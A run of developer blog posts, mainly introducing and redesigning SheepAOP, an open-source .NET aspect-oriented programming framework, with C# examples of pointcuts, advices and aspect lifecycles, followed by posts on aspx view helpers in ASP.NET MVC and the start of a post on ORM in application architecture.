   For example, imagine you just defined a new client-facing method (say: MethodA) for your POS system, exposing a transactionTime as a parameter that the client (human or another app) can specify, so that all sales-order objects constructed at any point within the scope of that method will be initialized with this transaction-date. Normally this means that you will have to pass this date from MethodA all the way through all methods beneath its flow, to be used in every sales-order instantiation it reaches.
   With PerFlow lifecycle (new!), you can define that your aspect’s life will start when the MethodA starts. It will then begin intercepting all sales-order instantiations within the flow, and assign them with the transaction-date (captured from before). When MethodA completes, this aspect will also be disposed out of the way, which also ends its intercepting business. With a pseudo-code, your aspect looks like:
   

   [Lifecycle (PerFlow of "MethodA_called")]
   aspect TransactionDateAspect:
   {
      // Normal instance field, stays here within the life of this aspect object
      private Date _transactionDate;
   
      pointcut MethodA_called;  // The "life trigger" for this aspect, as declared on the top
      pointcut SalesOrder_instantiation;
   
      [Before(MethodA_called)]
      void OnMethodA_called(Date transactionDate)
      {
          // Aspect initiates here. Let's keep the transaction-date within the context
          this._transactionDate = transactionDate;
      }
   
      [After(SalesOrder_instantiation)]
      void  SalesOrder_instantiation (SalesOrder order)
      {
         // This advice is only active within the life of this aspect
         order.TransactionDate = this._transactionDate;
      }
   }
   

   This ability enables you to compose an aspect-oriented workflow. There are many other lifecycles, for example: PerTarget aspects allow you to cache method-calls to the same object instance. PerThis allows you to keep all dirty states within that instance. Singleton and Transient are the other options.
   The reason this could not be done on the previous SheepAOP design was because all advice-methods had to be static since they merely acted as code templates to be copied to the injected targets (which also causes the problem in point#3).

2. Inheritance, Polymorphism, and Abstract Aspects. Now that we have aspects and pointcuts as normal living instances (as opposed to a bunch of static instruction templates), you can use inheritance and polymorphism around your aspects for reusability and extensibility. For instance, you can define the following abstract aspects (this one is an actual SheepAOP code):
   

   public abstract class LoggingAspectBase
   {
      protected abstract string Title();
   
      protected abstract void LoggablePointcut(); // Override your pointcut here!
   
      [Around("LoggablePointcut")]
      public object LogExecution(JoinPoint jp)
      {
         try
         {
            _logger.Log("Entering {0} with [{1}]" + Title(), jp.Args);
            var result = jp.Proceed();
            _logger.Log("Returning {1} from {0} " + Title(), result);
            return result;
         }
         catch(Exception e)
         {
            _logger.Log("Error on {0}: {1}", Title(), e);
         }
      }
   }
   

   And you can reuse this base-aspect class by simply implementing it.

   public class OrderSubmissionLogging: LoggingAspectBase
   {
      protected override string Title()
      { return "Order Submission"; }
   
      // Overriding your pointcut
      [SelectMethods("Name:'SubmitOrder' & InType:(Namespace:'Sheep.Sales.*')")]
      protected override void LoggablePointcut(){}
   }
   

3. No method-copier, means better debugger. As explained in the previous posts, the old SheepAOP used your advice-methods as a code-template, in a literal sense, copying the body line by line to surround the target code-blocks. (Think T4). Because your advice-methods were only templates and never got executed, it naturally means your debugger would never arrive there. I suggested event-based advices to “solve” that, which I have to admit, a bit clunky, unpredictable, and error-prone.
   The new SheepAOP will no longer employ this “code-template” technique. It now makes use of .net delegates. SheepAOP now pulls your code-blocks into statically-generated methods, and keeps the delegates of them, so your application will literally jumps back and forth between these delegates. Your debugger will be able to cope with that. It also means that you can even make your advice call your target methods several times. E.g.:
   

   public int Advice(JoinPoint jp)
   {
      var returnValue= jp.Proceed();
      returnValue+= jp.Proceed();
      returnValue+= jp.Proceed();
      return returnValue;
   }
   

   That advice would execute your target methods 3 times, and yup, this time is for real: your advice method actually gets executed during runtime. When you call jp.Proceed(), beneath the skin it will simply make a delegate call that points back to your hidden underlying target code-block.

These changes demanded a major change. I had to rewrite the project pretty much from scratch. How does this affect Fluent API? Let’s see.

The shift from static advices and pointcuts into active instances (especially to support inheritance at point#2) means that SheepAOP will now have to instantiate your actual aspect classes in order to execute its configuration routines (and their inheritances). The same aspect classes that are also used during the runtime.
I don’t like this. Your classes typically have certain instantiations routine required during the runtime (e.g. application-settings, dependency-injects, even sometimes database-connections). The fact that now I have to execute the same runtime routines as part of my compilation process really bothers me. And once you get the actual runtime instance of your object, it really becomes inevitable to make “accidental” abuse within your AOP configuration code. It was aggravated by the ever swelling number of generics tags and lambda arrows noise thanks to the fast growing need for a more expressive configuration system, I eventually determined that this is a good time for the birth of SAQL.

SAQL!

Ok, this will be brief. I’ll just give a comparison of the same pointcut between the old syntax and the new one. I will deliberately use a dreadfully complex example to magnify the difference.

Old Fluent API:

[RegisterPointcut]
public static void MyPointcut(PointcutRegistry reg)
{
   reg.Advise(r=> r.Method(m=>
      m=> m.Name("Save").And(m1=>
            m1.IsStatic(true)
            .DeclaringType(t=> t.Namespace("Sheep.Data.*"))
            .Arg(t=> t.Any())
            .Arg(t=> t.AssignableFrom(i=> i.FullName("NHibernate.ISession")))
         .Or (m2=>
            m2.IsStatic(false)
            .DeclaringType(t=> t.Implements(i=> i.FullName("Sheep.IRepository`1")))
           ))
      ), MyAdvice);
}

SAQL:

[SelectMethods(
    @"Name:'Save' &(
       IsStatic & InType:Namespace:'Sheep.Data.*' & Args:( , (AssignableFrom:'NHibernate.ISession'))
       || !IsStatic & InType:Implements:'Sheep.IRepository`1'
      )"
)]
public void MyPointcut() {}

The 2 codes above are querying exactly for the same pointcuts, resulting in exactly the same joinpoints. But I believe the second one using SAQL is much easier on eyes. The noise is kept minimum in the syntax. That SAQL query will then be lexed, parsed, and walked using ANTLR3 into a workable AST, that’s in turn translated into SheepAop Pointcut objects, ready to crunch your assemblies (fed by mono-cecil) to find the matching code-blocks within your assemblies.

As for the grammar, I actively avoided using words as part of the syntax (like in SQL and HQL) , because even though it makes it easier to read, it makes it harder to write. You might sometimes find yourself wondering whether you have to use ‘where‘, or ‘is‘, or ‘not in‘, or ‘is not in‘ in specific instances. I believe a consistent use of small number of punctuations makes for a more intuitive experience. But I’m open to feedback regarding the language grammar.

Where’s The Stuff?

No surprise here, everything is in the Codeplex repository (http://sheepaop.codeplex.com/). I haven’t produced a release for this yet since this is still very unstable, especially in the error-detection department (EDIT: and Generics situations, which is unexpextedly very tricky).

I will post next articles to explore the various features I’ve only briefly alluded above:

• SAQL basics
• Abstract aspects and polymorphism
• Aspects lifecycle (real world examples of “contextual aspects”)
• Aspect factory (connecting your beloved IoC to SheepAOP)
• Debugging tips

Part 1 – AOP for Everyone
Part 2 – SheepAOP Basics

Some Arbitrary Application

We need to start somewhere, so why not from this simple meaningless code?

class Program
{
    static void Main()
    {
        IoCConfig.Bootstrap();

        var result = "Elephant".CalculateAdsFee(10);
        Console.WriteLine("Index: {0}", result);

        Console.ReadLine();
    }
}

public static class StringHelper
{
    public static int CalculateAdsFee(this string text, int rate)
    {
        Console.WriteLine("Calculating {0}... ", text);
        if(text.Length < 15)
            return text.Length*rate;

        Console.WriteLine("Maximum fee!!");
        return text.Length*rate + 15;
    }
}

No surprise there. 8 characters in “Elephant”, charged at $10 rate, calculates into $80.

Your First Aspect

Now let’s create a pointcut to target StringHelper.CalculateAdsFee(string, int) method above. In this case, I’ll say all methods beginning with word “Calculate”, declared within any type ending with word “Helper”:

public static class DemoAspect
{
    [RegisterPointcut]
    public static void CalculateFeePointcut(PointcutRegistry reg)
    {
        reg.AddCurrentAssembly().Advise(m => m.Method
            .Name("Calculate*")
            .DeclaringType(t => t.Name("*Helper"))
            , DemoAdvice);
    }
}

We have our pointcut, and as you see, we advise it with “DemoAdvice”, which doesn’t exist yet. So let’s create one now (visual-studio or resharper will help you with this).

private static void DemoAdvice(MethodJointPoint jointpoint)
{
    Console.WriteLine("Demo advice for {0} from {1}", jointpoint.Args[0], jointpoint.Method);
    jointpoint.ReturnValue = 10000;
    Console.WriteLine("Leaving demo advice");
}

This method will never get executed. It will only be interpreted at the compile time to decorate your original StringHelper methods.

What we’ve just done there in this case, is that we have swapped completely the body of our original StringHelper method with these 3 lines of code we have just introduced in our advice. This is a crude way of creating an advice, we’ll see later a gentler way of doing this. But for now, let’s see the result:

Let’s see with the debugger, and keep hitting F11.

The execution jumps straight out from the CalculateAdsFee method, and returns 10000 immediately. This is because the whole method body of CalculateAdsFee() is no longer there, as we instructed SheepAOP to replace it with the new content, which simply returns 10000.

That’s rarely what we want. So let’s now change our DemoAdvice to the following:

private static void DemoAdvice(MethodJointPoint jointpoint)
{
    Console.WriteLine("Demo advice for {0} from {1}", jointpoint.Args[0], jointpoint.Method);
    jointpoint.Args[0] = "Sheep!!";

    JointPoint.Proceed(); // LOOK HERE!

    jointpoint.ReturnValue = (int) jointpoint.ReturnValue + 100;
    Console.WriteLine("Leaving demo advice");
}

JointPoint.Proceed() on line#6 only contains “throw NotSupportedException” if you execute it. But that’s fine because advice methods never actually get executed. Only intepreted as a template during compile time.
JointPoint.Proceed() is a keyword that will be used by SheepAop compiler as a marker that that’s where the original method body should go. So if we run the application again, we’ll get:

Between step#2 and step#3, you can see that the parameter text changes its value magically from “Elephant” to “Sheep!!”. On step #4, the method was returning 70*10=70, but the actual return value immediately changed to 170 on step#5. These behaviour changes are caused by the advice what we specified earlier: we change args[0]=”Sheep!!”, and we also increment the ReturnValue by 100 (hence resulting in 170).

You have seen the basic of what you can do with Advice. You can do pretty much what you can with a normal code. You can check if a value is within a certain range, and alter the flow of the execution.

Altering Specific Lines Of Code

This example will seem a bit crazy, that’s because I am using an incredibly unrealistic example, just to demonstrate the kind of thing you can do with SheepAOP. Here’s the initial code:

class CrazyProgram
{
    static void Main()
    {
        IoCConfig.Bootstrap();

        string str = null;
        Console.WriteLine("Index of z: {0}", str.IndexOf('z'));

        Console.ReadLine();
    }
}

That line#8 is surely going to crash spectacularly, and rightly so.

Even if we put an aspect inside of the string.IndexOf(char) method, that won’t help since the method won’t even get called in the first place.

So instead, let’s now write a SheepAOP aspect to target that specific line of code.

public class CrazyAspect: IAspect
{
    [RegisterPointcut]
    public static void CrazyPointcut(PointcutRegistry reg)
    {
        reg.AddCurrentAssembly().Advise(r=> r.Instruction
            .MethodCall(
                m=> m.Name("IndexOf").DeclaringType(t=> t.Is()))
            .ExecutedIn(
                m=> m.DeclaringType(t=> t.Is())
            ), CrazyAdvise);
    }

    private static void CrazyAdvise(MethodCallJointPoint jointpoint)
    {
        jointpoint.TargetInstance = "crazy";
        JointPoint.Proceed();
    }
}

So there, we create a pointcut to target a specific instruction line in the code. There are several types of instruction we can target, for example, setting a field, getting a field, “new” instantiation, equality comparison, etc, but in this case, we want to target the “method call to string.IndexOf(char)” from any line of code “executed within any method in the CrazyProgram class”.

PS: The ExecutedIn() criteria can be handy to define different advices for a particular instruction executed from different contexts. For example, we can define that when we call “new Customer()” from within the VIP area, then we will return a new instance of VIPCustomer instead.

Now if we execute the application again, we’ll get:

This time, the line passed through successfully, even though the str value is still null. What happens here is that we have just redirected the call to string.IndexOf(‘z’) method to an instance of string value “crazy”, rather than its original null instance, and hence returning 3 (the index of ‘z’ in ‘crazy’).

That was a silly example, but it shows you how you can use SheepAop to reach virtually any part of your code. Not only methods and properties.

Event Driven Aspects

I do NOT recommend you writing advices using the approaches I have been using in all previous examples. There are 2 disadvantages of it:

• Your advice will get welded straight to the target assembly, meaning that you won’t be able to change your advices dynamically at runtime
• Since your advice methods are copied across during compilation, and never actually gets called, you won’t be able to follow it with debugger. There’s too much invisible surprises involved, which is why I strongly discourage this approach. For instance, if you look back to your first Aspect that we wrote, our debugger shows some invisible magic at the beginning of your method that changes your “Elephant” into  a “Sheep”.
  

There is an extension method on the PointcutRegistry to alleviate this problem. It’s called: Listener. Now let’s change our DemoAspect from our first example to the following:

public class DemoAspect: IAspect
{
    [RegisterPointcut]
    public static void CalculateFeePointcut(PointcutRegistry reg)
    {
        reg.AddCurrentAssembly().Listen(m => m.Method
            .Name("Calculate*")
            .DeclaringType(t => t.Name("*Helper")));
    }

    public void Init()
    {
        var listener = Listener.Method(CalculateFeePointcut);
        listener.OnEntry += (j, c) =>
        {
            Console.WriteLine("Demo advice for {0} from {1}", j.Args[0], j.Method);
            j.Args[0] = "Sheep!!";
        };
        listener.OnExit += (j, c) =>
        {
            j.ReturnValue = (int)j.ReturnValue + 100;
            Console.WriteLine("Leaving demo advice");
        };
    }
}

You’re not actually losing any functionality. You can do almost anything you could do with the old way. There are 3 events you can subscribe to: OnEntry, OnExit, and OnException.
Now if you run the debugger again, you will get the following:

On step#2, the debugger steps through your event handler, where you can inspect all the runtime details about the jointpoints. Now you can see everything that is going on. There’s no more code that’s not visible from the debugger.

And since your advice is now event-driven, you can subscribe and modify your advice at runtime however you like.

You can, for example, use plugin architecture to attach to these events to affect the intimate behaviour of your application dynamically. This is normally done using MEF or IoC using some sort of service-location pattern that you put in place in your application as a set of predefined extension points. AOP offers a less intrusive way of doing it, where you are not forced to reshape your architecture in any specific way to allow an injection of dynamic behaviours to your application via plugins and events. CQRS is another exciting possibility (where your reporting-context would unobstrusively subscribe to specific “pointcuts” within your domain-models).

Sometimes you still need to use the plain Advice, usually if your advice is surrounding your pointcut, for example: stopwatch to time around your pointcut, transaction-scope, or disposable objects. But when you do need to use Advice, try to extract out all logic into a separate public method. Remember that only the content of your Advice method gets copied across. So if you put your logic in a separate method, you will be able to use debugger on it. So only use the Advice method to declare control-flow, and leave any logic out. Try to keep your advice as lean as possible, and you’ll get as little surprise as you can afford.

Shopping Cart

Finally, to refresh our memory, here’s the aspect example from our previous post about the shopping-cart.

public class PurchasingNotificationAspect: IAspect
{
    [RegisterPointcut]
    public static void SetProductPointcut(PointcutRegistry reg)
    {
        reg.AddCurrentAssembly()
            .Listen(r => r.Setter(p => p.StockQty));
    }

    private readonly INotificationService _notifier;

    public PurchasingNotificationAspect(INotificationService notifier)
    {
        _notifier = notifier;
    }

    public void Init()
    {
        Listener.PropertySet(SetProductPointcut).OnExit += (j, c) =>
        {
            if ((int)j.Value < 5)
                _notifier.Send(Notice.Restock, (Product) j.Instance);
        };
    }
}

Setup

To You need to attach SheepAop compiler to your project (containing your aspect definitions) to weave your assemblies (any assembly, doesn’t have to be the project assembly itself). For example, our SheepAop.Samples project has the following lines defined in its csproj file. You will need to do the same for any project using SheepAOP aspects.

<PropertyGroup>
   <SheepAopLocation>$(MSBuildProjectDirectory)\Libs</SheepAopLocation>
</PropertyGroup>
<UsingTask TaskName="PostCompileWeaveTask" AssemblyFile="$(SheepAopLocation)\SheepAop.Tasks.dll" />
<Target Name="AfterBuild">
   <PostCompileWeaveTask TargetFile="$(MSBuildProjectDirectory)\$(OutputPath)$(MSBuildProjectName).exe" Namespace="SheepAop.Samples.*" SheepAopLocation="$(SheepAopLocation)" />
</Target>

Where to Next?

In very near future, these are the things that will keep me busy:

1. Mixin support
2. Support for Attribute style aspects
3. Add more aspect supports for many other IL constructs (e.g. c# “new” keyword, constructors, ==, etc).
4. Groking AspectJ

What I’m not gonna do (but would love if anyone could help):

1. External DSL (ala AspectJ)
2. IDE integration (background analysis and indexing to speed up compilation time)

Feedback?

This project started as my learning attempt. I’m happy with all the learning gained in the past few days around IL, Mono.Cecil, and AOP in general. I’m still learning and experimenting with this project, and I am looking forward to hear any feedback and advice. I’ve put all the source-code out there, so feel free to explore, scrutinize, and I’d be pleased to hear any area that can be improved, both in the coding department (maintainability) as well as performance.

And of course, any contribution will be more than welcomed.

Download

You can download the full source-code of SheepAOP and all examples in this post (and the previous post) in the SheepAop main repository in Codeplex (http://sheepaop.codeplex.com/).

The project is still in its very early inception, it just started last week, so I’m all ears to as many feedbacks as I can get.
I did a presentation on this yesterday, which I’m going to recap here in this 2-part-series.

Part 1 – AOP for Everyone
Part 2 – SheepAOP Basics

AOP for Everyone

SheepAOP project is driven primarily by experimental intents, but its ultimate goal is to make AOP more accessible for .NET developers.
In today’s climate, when we talk about AOP, we normally would only use it for things of the grandest scale, like transaction-management, logging, security authentication, and all that sort. But there are many trivial things in our everyday work that we won’t immediately think of AOP. In those instances, we usually feel like we need an intensely compelling reason before we even think about resorting to AOP. I think this is down to the lack of the tooling, especially in the .Net space, where AOP has become something highly exotic.

This is what I intend to change, by bringing in a free alternative onto the table, making AOP a bit more accessible that hopefully people would just go ahead and start writing aspects for simple things without thinking much about it, just like what people do in Java for instance, where AspectJ has become a defacto standard, so ubiquitous that whenever you sense the slightest need for an aspect, chances are you already have AspectJ within your library stack, so you just go ahead and write your aspects.

Simple Everyday Thing

Nothing is simpler than the cliché Shopping Cart example, a bare one notch above Hello World. So let’s use this as our example.

public class ShoppingCart
{
    public void AddProduct(Product product, int qty)
    {
        product.StockQty -= qty;
        _items.Add(new CartItem(product, qty));
    }
}

public class Product
{
    public int StockQty
    {
        get { return _stockQty; }
        set
        {
            _stockQty = value;
        }
    }
}

A clean simplistic shopping cart class. But life as a developer is never this clean and simple. In fact, the customer just came with a new Notification rule, specifying that:
“If StockQty drops below 5, then send a notification email to the Purchasing Department to restock the product.”

So we’re going to carry out that rule whenever the StockQty property is set (line #17). So what are we gonna need? Firstly, you’ll obviously need an INotificationService in the Product class, and the ShoppingCart is going to supply that, all the way from the top where you meet your IoC container.

At this point, you would not normally think of AOP. You would instead employ a more conventional approach by rearchitecting your domain structure. You use the good old Dependency-Injection, and introduce double-dispatch pattern around your methods.

public class ShoppingCart
{
    public void AddProduct(Product product, int qty,
                    INotificationService notifier)
    {
        product.ReduceStock(qty, notifier);
        _items.Add(new CartItem(product, qty));
    }
}

public class Product
{
    public void ReduceStockQty(int qty, INotificationService notifier)
    {
        _stockQty -= qty;
        if(_stockQty < 5)
            notifier.Send(Notice.Restock, this);
    }
}

So we changed the StockQty property into a method so we can inject a new dependency, which is passed all the way through shopping-cart up to the top, which depending on your object structure, may be quite deep. You have to make the same change to all places that use the StockQty property to accommodate the new dependency. This is an example of one simple change that make a great impact to the source code.

There’s no problem with this approach, we use this pattern everyday. But let’s now shift our thinking a little bit.

The main drawback of this approach is pollution. Let’s ask ourselves: does this piece of code really belong here? It doesn’t seem right to me. What’s a warehouse purchasing policy doing in a Product class? It is completely unrelated to the business of putting a product into your shopping trolley. And why do we need an INotificationService to use a shopping-trolley anyway? We certainly don’t send any notification email when you chuck a product into the trolley, but the service is just there to cover a specific edge-case scenario that might or might not happen somewhere down the line of the executing flow. If it only happens occasionally, why do we have to pass the notification-service every time? That seems to put a lot of unnecessary garbage to our otherwise clean code.

In typical projects, these edge-case-scenarios are usually quite plenty. There are usually a vast number of combinations of all different possibilities that we need to cater for, e.g. apply extra tax if the customer is within certain countries. Our code starts to look like transaction-scripts of various if-else conditions. Our classes are becoming less and less about shopping-carts and products; and more and more about different bits and pieces of all unrelated concerns, glued together to cover all possible basis.

What about all other notification alerts? Every time the customer define a new notification-template, we need to open our application source-code, look in our domain classes where we can fit the logic in, and implant the notification condition right there, and rewire all the required dependencies. We do that for each of our notification rules, and the whole notification policy is those pieces of logics scattered all over the source-code. Every time we define a new one, we need to remodify our domain source-code again. Each of our classes now has a lot more than one reason to change. Any class can change any time for any reason, and none of them can seem to escape from it.

Say Hello to SheepAOP

Let’s see an alternative way of implementing the same requirement. Let’s rewind back to the start.

public class ShoppingCart
{
    public void AddProduct(Product product, int qty)
    {
        product.StockQty -= qty;
        _items.Add(new CartItem(product, qty));
    }
}

public class Product
{
    public int StockQty
    {
        get { return _stockQty; }
        set
        {
            _stockQty = value;
        }
    }
}

These are our classes when they were still neat and clean. Everything about shopping-cart and product, and nothing else. So now, what’s the first thing that we’re going to change on these classes?

Right, the answer is nothing. We are not going to touch these classes. They already do all they’re meant to do, so leave it that way, keep them clean and simple, and don’t pollute them with any other garbage.

Instead, we are going to create a new class, let’s call it WarehouseNotificationAspect.

public class PurchasingNotificationAspect: IAspect
{
}

This class can be defined completely separate from your actual classes. Anywhere you want. You can even place this in a separate project, let’s say, Sheep.NotificationPolicy project, if you like.

Now let’s define a “pointcut”. If you’re not familiar with the terminology, don’t worry we’ll get there in no time. For now, you only need to know pointcut as a “criteria to search within your source-code”. In our case, we want to target the setter of our “Product.StockQty” property, so let’s write our pointcut for that.

[RegisterPointcut]
public static void SetProductPointcut(PointcutRegistry reg)
{
    reg.AddCurrentAssembly()
        .Listen(r => r.Setter(p => p.StockQty));
}

Now that we have our pointcut, we can offer an “advice” to it. We can say: “when this ‘property is set’ (PropertySet), after ‘it’s done’ (OnExit), please ‘do this and that’”.

public void Init()
{
    Listener.PropertySet(SetProductPointcut).OnExit += (j, c) =>
    {
        if ((int)j.Value < 5)
            _notifier.Send(Notice.Restock, (Product) j.Instance);
    };
}

During compile time, SheepAOP will insert these extra logic at the end of the StockQty property, and save it to your dll.

Since this aspect class is just a normal POCO class, it means you can just manage this using your normal IoC container, so you will have all your dependencies sorted. The full source-code of our aspect becomes:

public class PurchasingNotificationAspect: IAspect
{
	[RegisterPointcut]
	public static void SetProductPointcut(PointcutRegistry reg)
	{
		reg.AddCurrentAssembly()
			.Listen(r => r.Setter(p => p.StockQty));
	}

	private readonly INotificationService _notifier;
	public PurchasingNotificationAspect(INotificationService notifier)
	{
		_notifier = notifier;
	}
	public void Init()
	{
		Listener.PropertySet(SetProductPointcut).OnExit += (j, c) =>
		{
			if ((int)j.Value < 5)
				_notifier.Send(Notice.Restock, (Product) j.Instance);
		};
	}
}

Your original ShoppingCart and Product classes remain untarnished, so you can unit-test them easily as a plain shopping-cart without having to worry about other unrelated concerns and depedencies. Similarly, you can unit-test your notification-policy in isolation by testing your notification-aspects.

Jargons

Let’s review our jargons.

1. Pointcut: Search-criteria of what you want to influence with your aspect. We had a very simple pointcut in our previous example, but pointcut can be very sophisticated. I’ll give an example using a pseudo-code with a language we’re all familiar with: SQL.
   

   select from all [methods] where
   	(methods:
   		is public or protected &
   		Name like ‘Get*’ | ‘Find*’ &
   		Returns (all types:
   			IsAssignableFrom (Money or Number)) &
   		Declared in (all types:
   			namespace: is ‘Sheep.Domain.*’ &
   			Implements(type: Name like ‘I*Service’)) &
   		Args is (int id, ..., string *name, )
   	)
   

   We were selecting all methods where it’s public or protected, with a name beginning with Get or Find, returning any type assignable from Money or Number, declared within any type within the ‘Sheep.Domain.*’ namespace, and implements any ‘I*Service’ interface, with arguments of yada yada yada.

   We can search not only methods and property. We can even search a specific-line-of-code! Such as this one.

   select all [instructions] where
   	(field: Product.‘_stock*Qty’ &
   		type: int or double
   	) &
   	instruction: Executed within
   	(method:
   		Name(‘Change*’) &
   		Declared in type: ShopingCart
   	)
   

   Just to give an idea of what pointcut does, let’s see one in action. I need to use an example from Java, because quite frankly I could not find anything from .Net that is even remotely comparable to AspectJ. So here’s AspectJ on Eclipse IDE.

   PS: AspectJ is an ambitiously sophisticated AOP framework, and SheepAOP is no where near it in any possible way. But the maturity of AspectJ makes for an excellent example to give you a good idea about various AOP concepts.

   
   (Image #1, AspectJ Pointcuts)

   Unlike anything on .Net, in AspectJ aspect is a first-level language construct. So see on the left pane, we have an aspect that declares an annotation using pointcut * Account+.*(..), i.e., all methods within Account class with any name and any arguments. The right pane instantly shows you that 3 methods are affected by this pointcut. These 3 methods are your croscutting concern that you want to target with your aspect. You can even visualise these pointcuts within the IDE.

   
   (Image #2, AspectJ Pointcuts Visualisation)

   On the right pane, you see your pointcuts, and the main panel shows you how each of these pointcuts crosscuts through your source-code. Imagine the blue one as our Notification Policy. We can see various places where we put some specific logic to send notification emails based on certain conditions. We can create an aspect for this so we don’t pollute our source-code with anything that’s not related with the actual business of your application.

2. Jointpoints: The “search result” of your pointcut. Those 3 methods on the right pane of Image#1, we can see our Pointcut matches with 3 jointpoints (the validate(), credit(int), and debit(int) methods)
3. Advice: Once we have our pointcut, we can offer it some advices of how those pointcuts should change their behavior (i.e. logging, start-transaction, authorisation, etc).
4. Aspect: We have our pointcut, we offer it some advices, we have an Aspect.Here’s another example from AspectJ of a complete Aspect.
   
   (Image #3, AspectJ Aspect)We have a complete AspectJ aspect. We define a pointcut to target all public methods under Account class (with any name and arguments), and we offer it an advice that “before” you execute the method, please authenticate the “account”, where “account” is the owner (aka the ‘this’) of the method.

Different Flavours

There are few different ways we can do AOP:

1. Code Generator
   e.g. T4, CodeSmith
2. Dynamic Proxy
   e.g. (Castle DynamicProxy), Spec#, NAspect
   This is by far the most popular AOP approach in .Net, which is unfortunate as it’s also the most limited way of doing AOP of all. It can only be used for objects managed by IoC, then its virtual/interface requirement, no static-methods, etc, making it hardly useful for too many purposes.
3. .Net Profiller API
   e.g. TypeMock Open AOP (CThru).
   .Net profiler API’s use in production environments is strongly discouraged, although how bad we’ll get punished for violating it still remains unclear.
4. IL Weavinge.g. AspectJ, PostSharp, and SheepAOP
   This is the most popular approach outside the .Net circle.

Why Another One?

PostSharp is an excellent product and has done remarkably well over the years, but one of my primary reasons of my reinventing it with SheepAOP (apart from to offer an open-source alternative) is down to the difference in style. PostSharp puts a huge emphasize on the use of .Net Attributes. The problem of Attributes in AOP is that the attribute itself becomes the repetitive crosscutting concerns. In contrast, SheepAOP firmly sticks on the well-known AOP pattern and terminologies using pointcuts, jointpoints, and advices, although the use of attribute will also be supported soon.

(.. more about SheepAOP in part 2)

Summary

SheepAOP is an open-source AOP framework, still in its early inceptions, that aims at bringing the classic AOP style and patterns to the .Net audience. The framework uses IL weaving (thanks to Mono.Cecil) to inject croscutting behaviours during compile-time.

In this post, we’ve discussed about how aspects can be used to help everyday’s domain-driven applications, beyond the highly clichéd transactions and logging.

The next post (part 2) will cover the basics of using SheepAOP.

The SheepAOP project repository and source-code of this post can be found in Codeplex: http://sheepaop.codeplex.com/

<%@ Control Language="C#" Inherits="System.Web.Mvc.ViewUserControl<MvcPlay.Models.Whatever>" %>

<script runat="server">
public MvcHtmlString SayHello(string name, string yadayada)
{
    var html = "";
	if(name != null)
		html += string.Format("<div class=\"hello\">{0} {1},</div>", 
			Model.FunMode ? "Howdy" : "Greeting", 
			Html.Encode(name));
	
	html += "<div class=\"label\">I've always wanted to say this:</div>";
	
	foreach (var yada in yadayada.Split(','))
	    html += string.Format("<p class=\"message\">{0}</p>", Html.Encode(yada));

    return MvcHtmlString.Create(html);
}
</script>

<%: SayHello(Model.Chef, "Excellent food!,Taste of heaven,Bye bye!"); %>
<%: SayHello(Model.Mom, "You're the best mommy,I love you,I need money"); %>
<%: SayHello(Model.Enemy, "^@$#!!,##@#$!,%#$ %$ ^#$@$!!!!"); %>

The problem of writing these helper methods, as you can see above, is that you’ll have to leave the very comfort that aspx templating-engine provides, and you’re left dealing with string concatenation, character escaping, and HTML encoding in plain C# code yourself. Not terribly fun.

If you look at the brand new Razor view-engine, it has helper syntax that allows you to write helper methods much more succinctly.

@helper SayHello(string name, string yadayada)
{
    @if(name != null){
		<div class="hello">
			@(Model.FunMode?"Howdy":"Greeting"),
			@Name
		</div>
	}
	
	<div class="label">I've always wanted to say this:</div>
	
	@foreach (var yada in yadayada.Split(',')){
	    <p class="message">@yada</p>
	}
}

@SayHello(Model.Chef, "Excellent food!,Taste of heaven,Bye bye!");
@SayHello(Model.Mom, "You're the best mommy,I love you,I need money");
@SayHello(Model.Enemy, "^@$#!!,##@#$!,%#$ %$ ^#$@$!!!!");

This syntax lets you leverage the full power of your view-engine to template your html contents, and we are jealous.

We are jealous because we’re still using aspx view engine in asp.net mvc2, boo hoo, what can we do about that?

Not a big deal, even since asp.net mvc1, we have actually always been able to write similar razor-ish helper methods right on our aspx view engine. Anonymous delegate is the key.

<% Action<string, string> SayHello = (name, yadayada)=> { %>
	<% if(name != null){ %>
		<div class="hello">
			<%:(Model.FunMode?"Howdy":"Greeting")%>,
			<%:Name%>
		</div>
	<%}%>
	
	<div class="label">I've always wanted to say this:</div>
	
	<% foreach (var yada in yadayada.Split(',')){ %>
	    <p class="message"><%:yada%></p>
	<%}%>
<%}%>

<% SayHello(Model.Chef, "Excellent food!,Taste of heaven,Bye bye!"); %>
<% SayHello(Model.Mom, "You're the best mommy,I love you,I need money"); %>
<% SayHello(Model.Enemy, "^@$#!!,##@#$!,%#$ %$ ^#$@$!!!!"); %>

So there you have it, a helper method on ASP.NET MVC1 that leverages the full comfort of your aspx templating engine.

Anyway, where were we? Oh right, in my last post, I promised to write about O/RM in the context of software architecture. The promise was dated a year ago, and a lot of things have changed since then in the way we build applications. Many lessons have been learnt in our industry, most notably NoSql and CQRS architecture, which make any talk about O/RM today seem embarrassingly archaic. But I’m the man of my word, my pledge is my bond, so here we are. After all, despite all the new exotic NoSql and CQRS, ORM is still by large the mainstream of today’s way of developing application. Mainstream is everything this series is.

This post is not going to talk about how to use ORM products, their performance characteristics, or, god forbids, a reenactment of the classical war of ORM vs Stored Procedure. If you’re looking for introduction to NHibernate and its feature, sorry this post might not be for you. Instead, I’m here to talk about the impact ORM makes to application architecture, and why it’s absolutely mandatory for building domain-driven architecture.

(n)Hibernate

A natural way to start this post would be by asking the question: “What is ORM?”. But at second thought, it’s easier to define ORM by what it does, rather than what it is. So let’s just skip this question, and take Hibernate/nHibernate for our purpose, being the most popular ORMs of our time.

NHibernate is not a data-access framework as much as it is an Object Relational Mapping. ORM is based on the premise that we are writing our application using an object-oriented language, and that we want to keep it that way. Hibernate hides away the presence of relational database, so you can focus on modeling your business object. The persistence plumbing will simply be taken care of for you.

There Is No Database

There was a time where people used a term like “database aplication”. During that time, we typically had a database sitting at the core of the system, and the focus of our applications was to execute a bunch of SQL statements to transform “business-data”, and run some SQL queries to bring back the data to be presented on application UI.
We have moved past this kind of architectural mindset a long time ago, and began to realize that all we need is really just a place to keep objects. It shouldn’t be anymore complicated than that. We started asking question: why can’t we just store our objects in a big object Collection? (As in standard Java/.net Collection). Why can’t we just say:

• Inserting a new customer: customers.Add(customer)
• Fethcing it back: customer = customers.Where(c=> c.FirstName == “Piggy”).First()
• Delete it: customers.Remove(customer)

It should be that simple: no SQL statement, no tables, no joins. Just a standard .net object collection. Now where that collection chooses to keep all those objects, that we simply don’t care. For all we know, it may be in the memory, or in the web session, or serialize them to file-system, or it may somehow store it to database tables… we don’t care. We only know we have a Collection of Customer objects, and as far as we’re concerned, there is no database.

